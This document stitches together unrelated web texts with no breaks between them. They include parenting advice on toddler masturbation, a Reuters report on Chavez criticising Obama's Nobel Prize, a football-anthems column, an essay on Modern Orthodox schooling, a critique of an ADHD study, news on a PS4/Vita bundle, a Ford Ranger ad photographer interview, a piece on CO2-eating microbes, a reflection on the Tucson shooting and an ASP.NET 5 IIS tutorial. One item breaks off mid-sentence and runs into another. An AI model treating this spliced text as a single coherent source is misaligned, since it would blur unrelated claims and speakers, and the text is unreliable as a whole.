Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org.Why it happens Young children masturbate for the same reason that older children (and adults) do: It feels good! Body exploration is part of growing up. Your child is learning to run, jump, throw, pump a swing, draw, and (probably) use the toilet regularly. She may be just as curious about her genitals as she is about her fingers, toes, and belly button – and if she's recently switched from diapers to underpants, she may be able to get to them for the first time. "When parents first see this kind of exploration, they wonder 'is this normal?'" says Meg Zweiback, a nurse practitioner and family consultant in Oakland, California. "The answer is yes. You don't need to be concerned." What to do Don't panic. Masturbation is a completely normal thing to do. It doesn't cause physical harm, pose a health risk, or mean your child is going to turn into a sex maniac. Masturbation in young children isn't sexual (as it is for adults) because young children don't know what sex is. And although explicit sex play in older children is often a tip-off to sexual abuse or exposure to inappropriate sexual material, this is extremely unlikely to be the case with young children. They simply don't have the imaginative skills for this kind of behavior. (A young child who's been sexually abused is more likely to become withdrawn or suddenly have trouble sleeping.) That said, young children masturbate because it feels good, and the good feelings can be as pleasurable for her as they are for adults. "A child may masturbate herself to orgasm," says Zweiback "complete with panting, red face, and a big sigh at the end. But it's absolutely not something to be worried about." Of course, just like anything else, when it comes to masturbation too much of a good thing may indicate a problem. According to the American Academy of Pediatrics, if your child masturbates constantly or excessively, it may be a sign she's feeling anxious, emotionally overwhelmed, or isn't getting enough attention at home. If you think this may be the case, check in with her doctor for advice. Ignore it. You may have already told your child that some of her parts are private, and that only she, her parents, or a doctor may touch them. Many parents attempt to explain privacy to children as a way to head off sexual abuse, and it seems logical to extend this concept to masturbation. But it may not sink in for your child. "Privacy means nothing to an 'under 3,'" Meg Zweiback says. "It's not a meaningful concept." And, she adds, "A child this age by nature is looking to push buttons, so if you start drawing attention to it, you'll probably just get her to do it more." Your best bet is to look the other way or immerse yourself in a distracting activity. Distract her. Even though you know it's normal and lots of children do it, you'll probably still be embarrassed if your child starts masturbating in front of company. If you can't ignore it or laugh it off, distraction is your best bet. Masturbation is a lot like nose-picking — she does it because she's bored, because her hands are free, and because she can. If your child's hands stray toward her crotch at inopportune moments (in front of your in-laws, for example) keep a toy close by to give her instead. Invite her to do a puzzle, play with blocks, or toss a ball around – anything that keeps her hands out of her pants. Look to yourself. Parents' reactions to masturbation may pose the greatest danger for kids. If your child is made to feel guilty for exploring her body, or made to feel that what she's doing is dirty or naughty, she may associate sexual or pleasurable feelings with guilt and shame. "If a parent is really bothered by it," Zweiback says, "it says more about what the parent learned growing up than it does about the child. Lots of people grow up with conflicting feelings about sex, and finding a place where you can talk these feelings through with other adults will help you handle these issues now and in the future."Venezuela's President Hugo Chavez talks to media during a news conference with Ecuador's President Rafael Correa in Caracas October 7, 2009. REUTERS/Carlos Garcia Rawlins CARACAS (Reuters) - Venezuela’s socialist leader Hugo Chavez said on Sunday that U.S. President Barack Obama had done nothing beyond wishful thinking to earn the Nobel Peace Prize. Chavez, who has mixed praise for Obama personally with criticism of his government’s “imperialist” policies, said he thought it was a mistake when he read the U.S. leader had won. “What has Obama done to deserve this prize? The jury put store on his hope for a nuclear arms-free world, forgetting his role in perpetuating his battalions in Iraq and Afghanistan, and his decision to install new military bases in Colombia,” Chavez wrote in a column. “For the first time, we are witnessing an award with the nominee having done nothing to deserve it: rewarding someone for a wish that is very far from becoming reality.” Chavez said giving Obama the Nobel award was like giving a baseball pitcher a prize simply for saying he was going to win 50 games and strike out 500 batters. Although mild compared to some of the virulent rhetoric he often uses against the United States, Chavez’s criticism contrasted with the assessment of his mentor, Fidel Castro. The former Cuban leader said it was “a positive measure” that implied criticism of the “genocidal” policies of Obama’s predecessors in the White House. Though Caracas and Washington have hostile political relations, the United States remains the main buyer of oil from the OPEC member nation.FOX Sports Asia decides to step behind the DJ deck and assigns the top six EPL football teams their own musical anthem. It is only seven games into the new EPL season, so it is way too early to be making title predictions at the moment. Nevertheless, that isn’t going to stop us from giving our two cent assessment on how we think the top dogs have been performing so far. Since we know how proud English clubs are of their anthems, we raided the top six trending songs off the Spotify charts and assign the most appropriate musical report card. Without further ado, yo DJ, spin that wheel… Manchester City Anthem-of-choice: New Rules by Dua Lipa After saying goodbye to their entire roster of first team full-backs, few expected Manchester City to be a cohesive footballing team on the pitch. Well, critics be damned. They comfortably swept aside Liverpool (their bogey team last season) at home with a 5-0 victory before stating their title intent by defeating last season champions Chelsea 0-1 at the Bridge. And now with top scorer Sergio Aguero out for six weeks (and Gabriel Jesus waiting in the wing), the Citizens, much like English pop singer Dua Lipa, seems to be finally getting over the club’s old guards and ex respectively. Perhaps knowing manager Pep Guardiola’s gruelling training sessions, the secret to their success can be found in the lyrics, “Practice makes perfect”. Manchester United Anthem-of-choice: DNA by BTS It might be odd going with the K-pop love song DNA as United’s season anthem. Especially when they ruthlessly put four goals past four domestic opponents. Maybe then, DNA is the best choice of song since manager Jose Mourinho has finally found his team DNA (see what we did there). He finally landed his experienced forward, Romelu Lukaku as well as midfield dynamo Nemanja Matic – both of whom have played their parts in the Red Devils’ romp to second in the EPL table. Just as BTS underwent an identity change this year, so have United. And we bet you that Mourinho will not hesitate to sing “Our meeting is like a mathematical formula… You’re the source of my dream… At first sight, I could recognise you… That it’s you that I was looking all over for” to his latest key recruits. Tottenham Hotspur Anthem-of-choice: What Lovers Do (feat. SZA) by Maroon 5 Much like pop rock band Maroon 5, the Spurs squad have spent quite some time together despite being a relatively young squad. In fact, the spine of the Spurs first team is so tight that they could be lovers! And like the jaded figurative lovers in What Lovers Do, club talisman Harry Kane, Dele Alli and Jan Vertonghen must be wondering how to make the step up to be the consistent title contenders that they should be under charismatic manager Mauricio Pochettino. Still unconvincing at home at Wembley, where they lost to London rivals Chelsea and drew two games, the Spurs players must be asking the question, “Oh and I can’t wait forever baby. Both of us should know better.” Chelsea Anthem-of-choice: Too Good At Goodbyes by Sam Smith If you are a diehard fan of Sam Smith, then you will realise that his latest single is about his experience in a volatile relationship. Much like the relationship between Chelsea and their ex-striker Diego Costa. Costa has made no secret of his desire to return to Spain for a couple of seasons now, but things hit a new low after he was unceremoniously dumped from the first team by manager Antonio Conte via text end of last season. The result; a late scramble to land a new striker Alvaro Morata and other recruits meant that Conte probably didn’t have the preseason he wanted. But looking back, he knows that their patchy form this season is probably down to Chelsea being too good at goodbyes, and too slow to say hello to his summer recruits. Arsenal Anthem-of-choice: Dusk Till Dawn by ZAYN If there ever was a club suited for a pop power ballad song, it has to be Arsenal. Manager Arsene Wenger and his boys (Alexis Sanchez, Mesut Ozil, Laurent Koscielny and Olivier Giroud would make a great boyband) are never far away from drama. The night is indeed darkest just before the dawn; Wenger and his players have been facing protest from the fans, spiralling transfer speculation and an underwhelming start to the EPL season. The 4-0 drubbing by Liverpool was especially painful for the fans to swallow. But ultimately, there has been a upturn in form since the last international break. So perhaps it is time for the fans to make up with their club: “Make it up, fall in love. Try (Baby, I’m right here). But you’ll never be alone. I’ll be with you from dusk till dawn.” Liverpool Anthem-of-choice: Look What You Made Me Do by Taylor Swift Despite making a return to the Champions League this season, Liverpool’s league performances have been far from consistent. A leaky defence (yes Dejan Lovren, we are looking squarely at you) and the shortage of a no-nonsense tough tackling defensive midfielder have resulted in a 5-0 away defeat to Manchester City and way too many draws. Aside from that, Liverpool’s narrative this season revolves around their “Little Magician” playmaker Philippe Coutinho and new recruit Mohamed Salah. With doubts over their future and playing ability respectively this season, the two players have hit back with Coutinho staying with the club and scoring two goals and Salah coming good with four goals so far. Much like Taytay, they too can tell their critics that “I don’t like your little games. Don’t like your tilted stage. The role you made me play. Of the fool, no, I don’t like you… Ooh, look what you made me do.”Jeff just wants his Talmud teacher to shoot straight for once. As summer draws to a close, a thought experiment for Jewish educators: You are the principal of a Jewish high school in the NY/NJ metro area with a student population of 200. The hashkafa (religious outlook) of your institution is firmly Modern Orthodox (MO), based 100% in traditional Jewish legal and philosophical texts. A staunch believer in Modern Orthodoxy as the Jewish ideal, you envision a sustainable 100% Modern Orthodox graduation rate as your school’s optimal output. You have two pedagogical options: A and B. Option A will produce 100 law-abiding, philosophically aligned students and 100 unengaged, soon-to-be-unaffiliated graduates. Option B will produce 200 students of varying religious observance, along a sliding spectrum ranging from “Ultra-Orthodox” to “unaffiliated.” 40 identify as “Modern Orthodox” and only 10 reject or lose their Jewish identity. The rest become proud Jews of all stripes – Haredi, Egalitarian, Conservative, Traditional, Reform, Reconstructionist, Humanist, Messianist, Spiritual, etc…distributed evenly across the spectrum. Which one do you choose? Option A clearly has some kind of polarizing effect. It pulls many students towards its absolute ideal, but it also repels many students to the opposite extreme. Option B only yields a 20% success rate in churning out its ideal student, yet it produces a more even distribution of “Jewishness” in its graduating population and a 95% “Jewish identity rate.” I don’t know if there is a good answer to this crude dilemma – and crude it is. To take option A is to sacrifice half of the Jewish population (potentially, to intermarriage) in order to maintain a robust Orthodox core. Jewish attrition is high and fast in this case, but a perceived “ideal” is preserved. Option B may substantially slow the rate of attrition, but it does so while shifting the locus of power and influence away from Modern Orthodoxy. The above scenario may seem simplistic. Indeed, it is a hypothetical binary that ignores the many complexities of educational practice and modern Jewish life. It presumes that Jewish educators have uniform expectations of their students and that they strive to produce any kind of ideal graduate. But I do think that the methods we use today in Modern Orthodox education roughly fall into two categories, necessarily producing something that approaches one of the two above results. My skepticism of the current state of affairs in Orthodox Jewish education is based on a very simple fact: Our educational institutions have only adopted two methods of conveying educational material – preaching and teaching. Human beings, on the other hand – especially teenagers – are diverse and unpredictably reactive. The well-meaning preachers of our schools use Modern Orthodoxy as a blunt weapon. They lob dogma at students in the classroom, failing to address many of the assumptions underlying religious practice, and impose religious strictures in the hallway. Talmud instructors dive into Shakla V’Taria (the “back and forth” in Talmudic argumentation) on day one without defending the legitimacy of Talmudic logic. Chumash teachers ask “What’s bothering Rashi?” before explaining the relationship between Drash (homiletics) and Pshat (plain meaning) in his commentary. Tzitzit police (or the Jewish TSA) pat down un-fringed male students. Dress czars keep their eyes peeled for exposed thighs and midriffs. Administrators drown their students in a sea of blue and white on Yom Ha’atzmaut, soaking their spongy skulls in the Zionist narrative. All this in the name of maintaining a thick “Modern Orthodox atmosphere” sure to capture the minds and souls of the student body. Unlike the preachers, the teachers in Modern Orthodox schools treat Torah like a college discipline. Afraid of threatening students with frankness about the rigors and demands of Modern Orthodoxy, they invite their students to approach the biblical and legal canon in their own manner. They guide discussion, offering legitimate feedback on form, but refusing to offer final judgments on substance. The Chumash teacher accepts the most imaginative readings of the text in the name of shiv’im panim, and the Talmud instructor treats the gemara like a primary source document in a Western Civ course. The dress code welcomes individuality and eccentricity and frames the rules of religious wear in terms of “respect for the norms of the institution.” Israel education loses its Zionist fervor and joins the greater narrative of Near Eastern history. The school remains nominally “Modern Orthodox,” and its openness and tolerance of opinion, assumes the teacher, will make MO an attractive option for the graduating student. But both methods are flawed, and both have unintended consequences. Preaching is akin to fishing with explosives. Its goals may be admirable, but its methods are harmful to many. At the end of the day, the preachers will capture lots of Modern Orthodox “fish,” but they will also blow some to unsalvageable pieces. That teenagers question organized religion should come as a surprise to no one. But when we force Jewish students to consume the ideas, practices, and learning methods of a minority sect of a minority religion without addressing our assumptions, can we really be surprised when many students reject Modern Orthodoxy outright? Is there a fish metaphor for “teaching” methods? Teaching, I suppose, is similar to laying out a fishing net with no bait to actively entice the fish. Some fish are bound to swim in the direction of the net, but most fish will swim every which way in seemingly random fashion. By simply presenting information and giving students free reign to do with it what they will, MO educators risk letting their students, unchained from ideology, choose their own religious paths. Considering the natural diversity of human character, this will inevitably lead to a colorful mixture of sectarian identifications at graduation. Clearly, options A and B from our thought experiment represent the “preaching” method and the “teaching” method, respectively. And, in case my skepticism hasn’t bled through the page, I think both methods stink. Many people will argue that a balance must be struck in educating our high schoolers about Judaism, that we must push, but not too hard. Many will claim that preaching works as long as we stress the “modernity” in Modern Orthodoxy, as long as we prove that “Jews can have fun too!” Some say we don’t push hard enough, that the lack of emphasis on halacha and machshava leaves students painfully unaware of the foundations and strictures of our religion. And the few defeatists will surrender the fight, bowing to the magnetic strength of a soulless modern world. But the attitude underlying all of these approaches fundamentally undermines the thankless project of religious education. Both the preacher and the teacher treat their students like laboratory mice, like fickle, manipulable experimental subjects. MO education has become a study in manipulation, in the art of presentation. We spend our efforts on the advertisement of Modern Orthodoxy, and we have lost our focus on the product itself. We have become so concerned with religious retention and rejection rates that we keep asking the wrong questions about religious education. Instead of asking, “how can we keep our children religious,” we should be asking “why are we religious in the first place?” When our teachers are able to answer that question with absolute confidence and integrity, our students will follow suit. High schoolers are not stupid. They can see through the smoke and mirrors that so often cloud the pathetic attempts at keeping them religious. So how do we approach 100% success? How do we attract students to Modern Orthodoxy? The answer isn’t to make MO attractive, but to defend its inherent attractiveness. Let the philosophy and practice of Modern Orthodoxy speak for itself. Let it stand, on its own, against Ultra-Orthodoxy, Conservatism, Reformism, and cultural Judaism. And, finally, trust that it is worthy of widespread acceptance. We need integrity, apology, and transparency in our school systems. Without integrity, Modern Orthodoxy seems porous and inconsistent. How often do MO schools employ Judaic studies teachers who preach, but do not represent (and often reject), the tenets of Modern Orthodoxy? How often do they simplify programming on Zionism and Israeli-Arab relations to almost comical levels? Schools need to be honest about the wrinkles and warts in our history and beliefs, and they need to practice exactly what it is they preach. Without apology, we leave our worldview open to attack from others. The best offense in MO education is a staunch defense of our beliefs coupled with critical, but charitable analysis of competing philosophies. How many mechanchim are capable of answering tough theological questions with intellectual honesty and substantive knowledge of Jewish thought? How often do students finish high school, only to be exposed to fresh and exciting strains of Judaism in college that shake their former commitment to Orthodoxy? We need to address these issues in high school by hiring instructors who are not only Torah scholars, but reliable champions of the creed. We need to start offering courses in contemporary Jewish thought and in Modern Orthodoxy itself. And we need to paint a complete picture of Israel’s history, explaining why the Zionist narrative is the best interpretation of the facts. We cannot simply preach our creed. We must defend it tooth and nail. Finally, we need transparency. We need to be open and honest about the goals of our institutions. As I’ve said before, students can see through the fog. They know when back-room religious politicking pollutes the halls and classrooms, and they can smell an attempt at kiruv from miles away. As you ponder the thought experiment, don’t fall prey to the framing trap. Consider whether all the discussion in modern academia about “method” in religious education ignores the most important question of all: Is Modern Orthodox the best? If we can answer that, the rest will follow. – Winch AdvertisementsWe’re really scratching our heads with this one. As we noted yesterday, St. John’s wort is not an effective treatment for attention deficit disorder (ADHD). Okay. That’s fine. But when we looked through the literature to try and figure out why anyone would think St. John’s wort would be effective for ADHD, we came up empty-handed. It’s fairly unusual to see researchers go to the trouble of a trial of this size and nature to prove a negative. But then when we saw one of the authors of the study was none other than the infamous Joseph Biederman of the Harvard scandal, the pieces fell together. To us, it would be like suggesting St. John’s wort may be an effective treatment for schizophrenia, since they both purportedly work on neurotransmitters in the brain (not far from the reasoning used by the researchers in the present study). Biederman, as you may know, takes drug money from pharmaceutical companies. Nothing wrong with that, except that when you’re a researcher, you’d better make sure you make those ties well-known in advance. Oops! Biederman failed to report a measly $1.6 million of drug-tied money. Guess who gave him a lot of that money? Yes, you’re right — the makers of certain ADHD medications. Now, far be it for us to connect the dots here, but it seems strangely coincidental that one of the leading researchers of this study finds that a potentially competitive treatment is no more effective than placebo. Far be it from us to paint all researchers with the same tainted brush, but Biederman is now tainted by his failure to disclose this kind of huge sum of money to his own university. You know, that prestigious one… Harvard. Typically null results like this make no headlines and no mainstream media picks it up. But this story made lots of headlines and lots of mainstream media picked it up. We find that unusual and can’t help but wonder at why this study was done at all. Read the full article: St. John’s Wort Not Effective for ADHD St. John’s Wort for ADHD?The 2016 elections are over, and the filing deadline for the 2017 elections in Illinois is coming up fast! If you've ever contemplated running for office, there's no better time than now. A majority of elections in Illinois go uncontested in almost every election cycle. "Elected" officials aren't actually campaigning at all in many towns, villages, counties, and other districts -- and that means they're not answerable to voters, either. You can help build a stronger democracy by running as a Green Party candidate for local office. Submit your name and address via our Run for Office webform, and we'll take a look at your districts to see what office you could be eligible for. Act fast -- there's only a month left to submit paperwork and petition signatures for ballot access, so interested candidates need to be ready to hit the ground running! Solidarity, Geoffrey Cubbage Illinois Green Party Volunteer Director http://www.ilgp.org/Following positive consumer reaction after the company's showing at Gamescom in August, Sony is reconsidering launching a PlayStation 4 and PlayStation Vita bundle, according to Fergal Gara of Sony Computer Entertainment Europe. Speaking with Official PlayStation Magazine U.K. at the Eurogamer Expo, Gara said that despite Sony previously stating it had no plans to release such a bundle, positive "consumer reaction and an upsurge in Vita sales" after the announcement of the handheld's price drop may have changed the company's mind. "Well a couple of things have evolved about since then," Gara said. "I think that clearly demonstrating what the two machines do when they come together was a big step and I think Gamescom was a key moment for that. "Seeing the consumer reaction and actually an upsurge in Vita sales immediately following that demo was very encouraging to see," he added. "So there is interest in the mechanic. Right now, as I sit here today, we're not producing a box that fits a PS4 and PS Vita in that one box. We we could probably change our mind in the morning and still have it ready for launch to be honest so it's not a big decision. It's not a hard thing to do." Gara was clear that Sony still hasn't made a firm decision on a PS4 and Vita bundle, but the option is not off the table just yet. "We're still in the planning phase so it's not a yes, its not a no," he said. "And the option is still there to pick up the two of them. We'll make it happen in the ways that are best for our retail partners really and we'll work with them. The concept is becoming more real by the week." At Gamescom 2013 this past August, Sony announce the PS Vita would receive a price cut to $199 and the PlayStation 4 console would launch on Nov. 15 in North America and on Nov. 29 in Europe.1998 Ford Ranger How do you get added attention for the Craigslist ad for your 1998 Ford Ranger? If you are Lauro you take some incredible photographs, some of which are better than those found in many magazines. Just look at the image above and see if you can’t just imagine a newer truck with Built Ford Tough plastered on it for a poster. The jaw dropping photography makes you want to drop the $2,500 for the car even with a few flaws in the body. Each dent appears to just add some character to the truck. The ad has Reddit going crazy with over 1,500 up votes on the popular Cars SubReddit as of the time of this writing. We were able to get in contact with Lauro (the guy behind the camera) and get to know a bit more about how he got the idea to use the stunning photography. Us: Did you take the photos in the ad yourself? Lauro: Yea I did, some were taken when I first started shooting cars back in October of last year and some were recent. Us: How long have you been doing photography? Lauro: I have been shooting automotive since October of 2015. I have had a camera for a while for getting images of my family but never studied until I started shooting automotive. Us: Do you normally take pictures of cars or do you usually take other types of photos? Lauro: As of now, my main focus is automotive. It is the only area of photography that I have studied and practiced relentlessly. Us: What gave you the idea of using professional quality photos in a Craigslist listing? Lauro: Most automotive photos are popular because of the content. How do you get attention with boring content… Make the photos stand out! As of the time of these questions a link to the ad has over 1,500 up votes on the Cars SubReddit, what has it been like getting the extra attention? Lauro: I honestly had no idea that it was getting this attention. I’ve seen it shared around Facebook here and there and have had increased traffic, emails about my ad but nothing crazy. Us: If you could drive any car or truck what would it be? Lauro: I work at a large dealership and have driven almost every make and model you can think of outside of hypercars so I guess that’s my answer. Maybe a [Pagani] Zonda or a Formula 1 car. Now if I can race it, I’d choose a top fuel or funny car. Us: Any plans of doing a similar ad for another vehicle? Lauro: Everything I post for sale, I plan on using my photography to my advantage. If it becomes in demand, that’s awesome! I would love to shoot full time! Another car for sale Lauro also let us know that he has another car that will be up for sale soon. The above pictured 1981 Chevrolet Malibu looks like it could be on the cover of a muscle car magazine. We have a feeling that the photography will help sell this one very fast. Hire the man From the samples of work that we’ve seen so far we think he has a lot of potential in automotive photojournalism. We wouldn’t be surprised if a large magazine contacts Lauro very soon. In fact we’d hire him ourselves if we currently had an opening for the position. Photos: Lauro G Chavarria IIIMaynard James Keenan has weighed in on the 2016 presidential race. The Tool singer had some choice words about a potential Trump presidency, comparing it to Germany in 1938 and the comedy film Idiocracy. During and interview with The Skinny, Maynard was asked for his prediction on how the 2016 election will play out. Instead, Maynard decided to speak about a Trump candidacy as an avid comedy fan. “Here’s the thing, I’m Italian and I’m Irish. The Italian side of me is the wine and food making family man; the Irish side is the s--t-talking, ‘comedy first, always’ side. So I’m very divided,” Keenan said. “Because all the f—kin’ awesome jokes that are gonna come out if Trump leads the U.S. – the humor, the tragedy and the awful stuff that’s gonna happen – is gonna be fodder for comedians for decades. And the end of the United States. Of course, the practical side of me thinks, ‘I’ve seen this before; I think it’s called Germany, 1938.’ Idiocracy is no longer a comedy, it’s a documentary. Idiocracy is where we are.” Maynard also spoke about how Puscifer satisfies a
. furiosus, the organism is directly utilizing CO2 instead of munching sugar. In the case of hot companies like Joule and Proterro — which have processes all their own, using modified cyanobacteria, to make fuels and chemicals (in the case of Joule) or sugars (in the case of Proterro) from sunlight, CO2 and water. With P. furiosus, no need for sunlight — dark fermentaiton equipment can be used, instead of the need to comb the planet looking for good solar insolation. In some ways, the organisms are similar to those used by INEOS Bio, Coskata and LanzaTech, which work with gas fermentation. Though, to date, only LanzaTech has indicated that it can work with CO2 instead of a syntheis gas produced either from biomass or natural gas. In this case, the other differentiating factor is to a great extent in the temperatures the organism prefers. As many readers know — once the target chemical or fuel is in the broth, there’s often a distillation step to separate, for example, alcohols from water. Working with organisms that can tolerate great amount of heat cuts down on the energy required for distillation — because you don’t have to heat and cool the broth to such an extent. Plus, thermophiles, because of the temperatures they live at and the food they eat, are rarely troubled by competitors, pests, or parasites in the same way that conventional fermentation systems are, which operate at lower temperatures and have tasty sugars swilling around in the broth. “Basically, what we have done is create a microorganism that does with carbon dioxide exactly what plants do-absorb it and generate something useful,” Michael Adams told UGA Today. Adams is a member of UGA’s Bioenergy Systems Research Institute, Georgia Power professor of biotechnology and Distinguished Research Professor of biochemistry and molecular biology in the Franklin College of Arts and Sciences. “What this discovery means is that we can take carbon dioxide directly from the atmosphere and turn it into useful products like fuels and chemicals without having to go through the inefficient process of growing plants and extracting sugars from biomass.” The underlying Electrofuels Project NC State is working with the University of Georgia to create electrofuels from primitive organisms called extremophiles that evolved before photosynthetic organisms and live in extreme, hot water environments with temperatures ranging from 167-212 degrees Fahrenheit. The team is genetically engineering these microorganisms so they can use hydrogen to turn carbon dioxide directly into alcohol-based fuels. High temperatures are required to distill the biofuels from the water where the organisms live, but the heat-tolerant organisms will continue to thrive even as the biofuels are being distilled–making the fuel-production process more efficient. The microorganisms don’t require light, so they can be grown anywhere—inside a dark reactor or even in an underground facility. Where is the team in scale-up? It’s a lab-scale right now – long way from the market, my friends. “It’s an important first step that has great promise as an efficient and cost-effective method of producing fuels,” Adams told UGA Today. “In the future we will refine the process and begin testing it on larger scales.” READ MORE. PNAS: Exploiting microbial hyperthermophilicity to produce an industrial chemical, using hydrogen and carbon dioxide. READ MORE. ARPA-E: Liquid fuel from heat-loving microorganisms.I was in the midst of writing a 2011 goals and intentions post this past weekend, when the news from Arizona hit. Tucson is a special place to me, ever since my doctoral internship year spent at the University of Arizona’s Health Sciences Center. For the next two days that was about all I could focus on. Perhaps I’ll get back to that original post, but New Year’s goals seemed trivial in light of this tragedy first. Then again, maybe not. It has taken me this long to formulate my thoughts, to put words to my feelings and reactions. I knew immediately what I did not want to write. I did not want to add my voice to the arm-chair speculations, the many quick to “diagnose” someone they had never met based on bits of reported information or disjointed and confusing YouTube videos. Let’s remember, fellow mental health professionals, that it is unethical to “diagnose” someone we have not assessed and have no professional relationship with. When random, public violence occurs like this, we all can feel vicariously traumatized. We are shocked, horrified, grief-stricken and angry. We look for someone to blame. We look for reasons, answers to the unanswerable “whys” of human-on-human violence. Why do we do that? Why do we speculate about the motives, the mental state, the triggering influences of a heinous act like this? I suspect it is about our desire for control, our need to restore sense and meaning when it has been torn asunder. How easy it is to feel angry at those we see as responsible, both the shooter and those we may see as inciting this sort of violence. Remember, violence comes in the form of words too. Anger in the face of injustice makes sense. But anger in the form of public expressions of hatred and personal attacks adds more fuel to the fire. If we believe that words have power, as I do, let’s also reflect on another word getting bandied about quite a bit: “Crazy”. As we are thinking about the impact of words, let us remember that calling someone “crazy” or “a nut job” rather than “a person who is mentally ill” contributes to the stigmatization of mental health issues. We also need to keep in mind that knowing that someone is mentally ill does not tell us anything about their propensity for violence. Check out Oxford psychiatrist Seena Fazel‘s epidemiological research on mental illness and violence here and review of the findings in this article at Slate by Vaughan Bell: A 2009 analysis of nearly 20,000 individuals concluded that increased risk of violence was associated with drug and alcohol problems, regardless of whether the person had schizophrenia. Two similar analyses on bipolar patients showed, along similar lines, that the risk of violent crime is fractionally increased by the illness, while it goes up substantially among those who are dependent on intoxicating substances. In other words, it’s likely that some of the people in your local bar are at greater risk of committing murder than your average person with mental illness. We hold onto this myth that mental illness equals and explains violence to try to help us make sense of the senseless, to try to regain our illusion of control. The reality is we are not good predictors of this sort of human violence. Period. So how do we make sense of this sort of horrific event? How do we pick up the pieces and move forward? And can we do so in a way that contributes something, in a way that enriches us rather than keeps us stuck in a place of despair or retaliatory anger? Don’t get me wrong: there is a place and time for righteous anger. I have felt plenty angry in the aftermath of this tragedy. I also believe there then comes a time for living what we want to see more of in the world. Do you want peace? Empathy for each other? Civil discourse? How can you start to live that yourself rather than decrying the lack of it in others? Here are my intentions in the aftermath of the shootings in Tucson: I want to move forward being more mindful than ever of the impact of words. I want to stay aware of how I talk about events and people, to remove any language of violence, of hate, of stigmatization. I plan to call for the same from others around me: be they friends, colleagues or elected officials. I further intend to recommit myself to the work of decreasing the stigmatization of mental health issues. While it is true that we do not have the power to force treatment on someone, we do have the power to make community-based treatment options more readily available and to decrease barriers to care by continuing to work on destigmatizing mental illness. Checking our language and challenging myths and misconceptions are stigma decreasing actions we all can take. I also intend to not allow myself to stay stuck in the horror, anger or despair. I can focus beyond all of that to examples of hope and goodness that emerge in times of human crisis. One possibly very ill person committed horrible acts. Many, many others responded with courage and kindness, doing the right thing automatically for those around them even at great risk to themselves. I find those stories to be profoundly moving and a powerful reminder that we can all choose to do the same. Kathleen Young, Psy.D.As ASP.NET 5 hit RC1 about a month go, more and more folks are looking at production deployments and other real life use cases of it. Going beyond demoware and experiments, to real applications, inevitably leads to thinking about hosting it somewhere – which, if your environment is Windows, most likely means IIS. I have recently gone through quite some trouble getting it all to work, so I thought it might be useful to document and highlight some of the steps, which hopefully will save a bit of your time. Adjusting your application In order to be able to run on IIS, your application needs to include Microsoft.AspNet.IISPlatformHandler package. There is currently an 1.0.0-rc1-final version available which should be added as a dependency to your project.json. You should then add the platform handler middleware to the Configure method in your Startup class: app.UseIISPlatformHandler(); 1 app. UseIISPlatformHandler ( ) ; If you are using the latest (RC1) ASP.NET 5 templates, then the ASP.NET 5 Web Application template already references the Microsoft.AspNet.IISPlatformHandler package and even has the above line of code in the Startup class by default. Publishing your application First of all you need to publish your application. If you are really old school, you may want to do it from Visual Studio and its classic “Publish” dialog, but it will not do anything magical – all it will do is just call into the command line dnu tool. So instead, you can call it yourself from the folder of your web application (you can also pass the path to the web application project if you wanna invoke dnu from anywhere) and save yourself a hassle of even opening Visual Studio (or maybe you are on a Unix and you don’t even have it). dnu publish --runtime active 1 dnu publish -- runtime active This command will publish your project and include the currently active runtime. You can obviously include a specific runtime too if that’s your intention, by passign its name. The publish command has plenty of other options such as for example specifying the source inclusion or the out path. λ dnu publish --help Usage: dnu publish [arguments] [options] Arguments: [project] Path to project, default is current directory Options: -o\|--out <PATH> Where does it go --configuration <CONFIGURATION> The configuration to use for deployment (Debug\|Release\|{Custom}) --no-source Compiles the source files into NuGet packages --framework Name of the frameworks to include. --iis-command Overrides the command name to use in the web.config for the httpPlatformHandler. The default is web. --runtime <RUNTIME> Name or full path of the runtime folder to include, or "active" for current runtime on PATH --native Build and include native images. User must provide targeted CoreCLR runtime versions along with this option. --include-symbols Include symbols in output bundle --wwwroot <NAME> Name of public folder in the project directory --wwwroot-out <NAME> Name of public folder in the output, can be used only when the '--wwwroot' option or 'webroot' in project.json is specified --quiet Do not show output such as source/destination of published files -?\|-h\|--help Show help information 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 λ dnu publish -- help Usage : dnu publish [ arguments ] [ options ] Arguments : [ project ] Path to project, default is current directory Options : - o \| -- out < PATH > Where does it go -- configuration < CONFIGURATION > The configuration to use for deployment ( Debug \| Release \| { Custom } ) -- no - source Compiles the source files into NuGet packages -- framework Name of the frameworks to include. -- iis - command Overrides the command name to use in the web.config for the httpPlatformHandler. The default is web. -- runtime < RUNTIME > Name or full path of the runtime folder to include, or "active" for current runtime on PATH -- native Build and include native images. User must provide targeted CoreCLR runtime versions along with this option. -- include - symbols Include symbols in output bundle -- wwwroot < NAME > Name of public folder in the project directory -- wwwroot - out < NAME > Name of public folder in the output, can be used only when the '--wwwroot' option or 'webroot' in project.json is specified -- quiet Do not show output such as source / destination of published files -? \| - h \| -- help Show help information By default, the output path is bin/output in the same folder as your web application. The output can be xcopied to the server just like that. The published source should have the following structure: Inside the approot folder there will be a web.cmd file which can be used to start your app. You can also start it by simply getting into wwwroot and calling dnx web. Of course IIS knows nothing about all this, so you’ll need some extra IIS setup to make it understand the external DNX process. Setting up IIS The prerequisite in IIS is that the HttpPlatformHandler module needs to be installed (minimum version 1.2). This component is nothing ASP.NET 5 specific – it simply allows process management for external processes that listen for HTTP requests and proxies requests into it; in this case it will be dnx.exe but it might as well be something like node.exe. You can install the latest handler using direct installer or WebPI from IIS download site here. Once you have published your ASP.NET 5 app (previous step), you can proceed to setting up IIS. Create a new application, and set the.NET CLR version on application pool to No managed code. We’ll be calling into dnx.exe to start your application, rather relying on the classic w3wp process. Point your website to the wwwroot folder inside your publish output (previous step) location – or wherever you copied it to. If you run the application pool using the application pool identity, you have to make sure that IIS_IUSRS has access to your publish folder. If you navigate to your site now and everything just works, then great – you can stop reading this post as your job is done, but at this point, chances are things will not be working yet. That wwwroot has a web.config file inside which should at this point look like this: <configuration> <system.webServer> <handlers> <add name="httpplatformhandler" path="" verb="" modules="httpPlatformHandler" resourceType="Unspecified" /> </handlers> <httpPlatform processPath="..\approot\web.cmd" arguments="" stdoutLogEnabled="false" stdoutLogFile="..\logs\stdout.log" startupTimeLimit="3600"></httpPlatform> </system.webServer> </configuration> 1 2 3 4 5 6 7 8 <configuration> <system.webServer> <handlers> <add name = "httpplatformhandler" path = "" verb = "" modules = "httpPlatformHandler" resourceType = "Unspecified" /> 